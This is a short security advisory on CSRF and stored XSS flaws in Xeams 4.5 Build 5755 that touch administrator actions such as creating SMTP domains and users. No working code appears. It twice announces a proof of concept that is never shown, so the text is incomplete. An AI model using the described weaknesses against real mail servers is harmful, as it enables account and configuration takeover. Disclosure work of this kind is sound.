Multiple vulnerabilities in Xeams 4.5 Build 5755 (CSRF/Stored XSS)

Xeams 4.5 Build 5755 is vulnerable to CSRF attacks, which can also be combined with stored XSS attacks (authenticated administrators only). The JSESSIONID created when a user logs on to the system is persistent and does not change across requests. The following PoC uses the CSRF vulnerability to create a new SMTP domain in the application, and combines it with one of the stored XSS vulnerabilities. The following PoC uses the CSRF vulnerability to create a new user with the details shown.

Mitigation:

Ensure that the application is updated to the latest version of Xeams, and that all users are authenticated before performing any sensitive operations.
